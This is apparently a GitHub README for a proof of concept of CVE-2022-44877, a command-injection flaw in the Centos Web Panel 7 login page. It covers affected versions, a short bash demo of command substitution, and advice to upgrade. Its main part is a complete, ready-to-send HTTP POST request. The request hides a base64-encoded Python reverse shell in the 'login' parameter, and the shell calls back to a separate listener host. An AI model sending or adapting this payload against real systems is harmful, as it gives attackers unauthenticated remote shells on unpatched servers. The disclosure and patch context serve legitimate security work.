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https://github.com/komomon/CVE-2022-44877-RCE

CVE-2022-44877 Centos Web Panel 7 Unauthenticated Remote Code Execution
https://github.com/komomon/CVE-2022-44877-RCE

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CVE-2022-44877 Centos Web Panel 7 Unauthenticated Remote Code Execution

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# Centos Web Panel 7 Unauthenticated Remote Code Execution - CVE-2022-44877

## Vulnerability description

RESERVED An issue in the /login/index.php component of Centos Web Panel 7 before v0.9.8.1147 allows unauthenticated attackers to execute arbitrary system commands via crafted HTTP requests

## Version affected

Centos Web Panel 7 - < 0.9.8.1147

## Vulnerability demonstration

```
[+] Centos Web Panel 7 Unauthenticated Remote Code Execution
[+] Centos Web Panel 7 - < 0.9.8.1147
[+] Affected Component ip:2031/login/index.php?login=$(whoami)
[+] Discoverer: Numan Türle @ Gais Cyber Security
[+] Vendor: https://centos-webpanel.com/ - https://control-webpanel.com/changelog#1669855527714-450fb335-6194
```

[![IMAGE ALT TEXT HERE](images/68747470733a2f2f696d672e796f75747562652e636f6d2f76692f6b694c66537663315359592f302e6a7067.jpeg)](https://www.youtube.com/watch?v=kiLfSvc1SYY)

https://www.gnu.org/software/bash/manual/html_node/Double-Quotes.html

https://www.gnu.org/software/bash/manual/html_node/Shell-Parameter-Expansion.html

```
➜ CVE-2022-44877 echo "example_log" >> log
➜ CVE-2022-44877 cat log
example_log
➜ CVE-2022-44877 echo "example_log $(whoami)" >> log
➜ CVE-2022-44877 cat log
example_log
example_log root
➜ CVE-2022-44877
```

[![img](images/1.png)](https://github.com/numanturle/CVE-2022-44877/blob/main/1.png?raw=true)

[![img](images/2.png)](https://github.com/numanturle/CVE-2022-44877/blob/main/2.png?raw=true)

## Exploit(POC):

```
POST /login/index.php?login=$(echo${IFS}cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTMuMzcuMTEiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJzaCIpJyAg${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash) HTTP/1.1
Host: 10.13.37.10:2031
Cookie: cwpsrv-2dbdc5905576590830494c54c04a1b01=6ahj1a6etv72ut1eaupietdk82
Content-Length: 40
Origin: https://10.13.37.10:2031
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://10.13.37.10:2031/login/index.php?login=failed
Accept-Encoding: gzip, deflate
Accept-Language: en
Connection: close

username=root&password=toor&commit=Login
```

## Solution

Upgrade to CWP7 current version.